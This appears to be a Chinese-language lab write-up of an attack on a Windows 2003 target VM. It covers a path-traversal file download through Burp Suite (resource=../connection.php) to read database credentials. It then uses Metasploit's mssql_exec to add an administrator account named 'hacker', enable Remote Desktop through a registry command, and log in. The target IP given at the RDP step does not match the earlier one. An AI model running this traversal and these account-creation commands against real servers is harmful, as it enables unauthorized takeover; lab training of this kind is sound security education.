KaliIP地址:192.168.112.178
Windows2003:192.168.112.231
使用Kali Linux中的浏览器(firefox)访问Windows2003靶机:
点击下载中心>企业宣传视频>点击“点击下载”后,会提下载名为company-video.mp4的文件:
打开Kali Linux的终端,启动BurpSuite:
进入Proxy标签,在Options中可以看到默认正在监听8080端口:
在浏览器(firefox)设置中配置代理:
咱们打开浏览器回到下载视频那里,点击重新下载,然后burpsuite会拦截浏览器请求的数据包:
切换至Windows2003靶机的控制台,审计C:\AppServ\www\download.php文件
$filename变量定义了文件名,通过GET或POST方式($_REQUEST参数可以同时接受GET和POST方法传递的值)获取resource的值来赋予。最终读取的文件名为$dir和$filename的组合,即./resources/$filename。
证实根目录下resources文件夹存在,且存在company-video.mp4
然后我们切换至Kali Linux,右键刚刚捕捉的/download.php数据包,选择Send to Repeater
切换至Repeater选项卡,此时我们可以方便地重复修改本数据包并获取返回结果
通常开发者在写PHP文件时,会进行连接数据库的操作。而为了方便,开发者都会将数据库连接代码写入到connection.php、conn.php等文件中。如果我们能够获取该文件中的内容,我们就能得到对方的数据库。
猜测对方数据库连接名为connection.php,如果该文件在网站根目录,那么修改POST参数如下:
resource=../connection.php
在Repeater中修改传参,并点击Go查看结果
全选左侧数据包,右键点击Copy复制
将Proxy中仍未发出的数据包替换
下载并查看该文件,得知该服务器使用的数据库端口为1433,为SQL Server的默认端口。用户名为sa,密码为root,它会下载在download目录下,
然后我们在kali linux终端打开Metasploit:
使用mssql_exec模块执行系统命令:
use auxiliary/admin/mssql/mssql_exec
设置靶机IP地址、数据库密码:
set RHOST 192.168.112.231靶机IP地址)
set PASSWORD root
设置要执行的命令:
如果我们要添加一个用户hacker,设置他的密码为123456,则命令为:
cmd.exe /c net user hacker 123456 /add
构建整条语句:
set CMD cmd.exe /c net user hacker 123456 /add
然后输入exploit,等待执行完成
将hacker用户加至管理员组:
set CMD cmd.exe /c net localgroup administrators hacker /add
exploit
开启远程桌面:
set CMD cmd.exe /c REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\” \”Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
exploit
在执行命令时,特殊字符会被转义,所以两个反斜杠(\\)实际上为一个反斜杠(\),反斜杠+双引号(\”)实际上为一个双引号(”),这点需要我们注意,在预期结果与输入命令不同时,我们就需要首先检查字符转义的可能性。
输入rdesktop 172.16.1.200(靶机IP地址),进行远程桌面连接
输入刚刚建立的hacker用户(用户名hacker,密码123456),进行登录
成功进入目标靶机,并拥有管理员权限
提权成功。
实验成功